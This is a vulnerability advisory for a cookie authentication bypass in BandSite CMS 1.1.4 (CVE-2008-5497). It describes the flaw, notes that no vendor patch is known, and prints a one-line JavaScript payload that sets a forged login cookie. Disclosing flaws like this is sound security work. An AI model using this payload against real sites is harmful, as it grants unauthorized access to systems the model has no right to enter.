BandSite CMS Cookie Authentication Bypass Vulnerability

Bugtraq ID:	32295
Class:	Access Validation Error
CVE:	CVE-2008-5497
Remote:	Yes
Local:	No
Published:	Nov 13 2008 12:00AM
Updated:	Apr 16 2015 05:51PM
Credit:	Mountassif Moad
Vulnerable:	BandSite CMS BandSite CMS 1.1.4
Not Vulnerable:

BandSite CMS Cookie Authentication Bypass Vulnerability

BandSite CMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.

BandSite CMS 1.1.4 is vulnerable; other versions may also be affected.

BandSite CMS Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example code is available:

javascript:document.cookie = "login_auth=true; path=/";

BandSite CMS Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

BandSite CMS Cookie Authentication Bypass Vulnerability

References:

• BandSite CMS Homepage (BandSite CMS)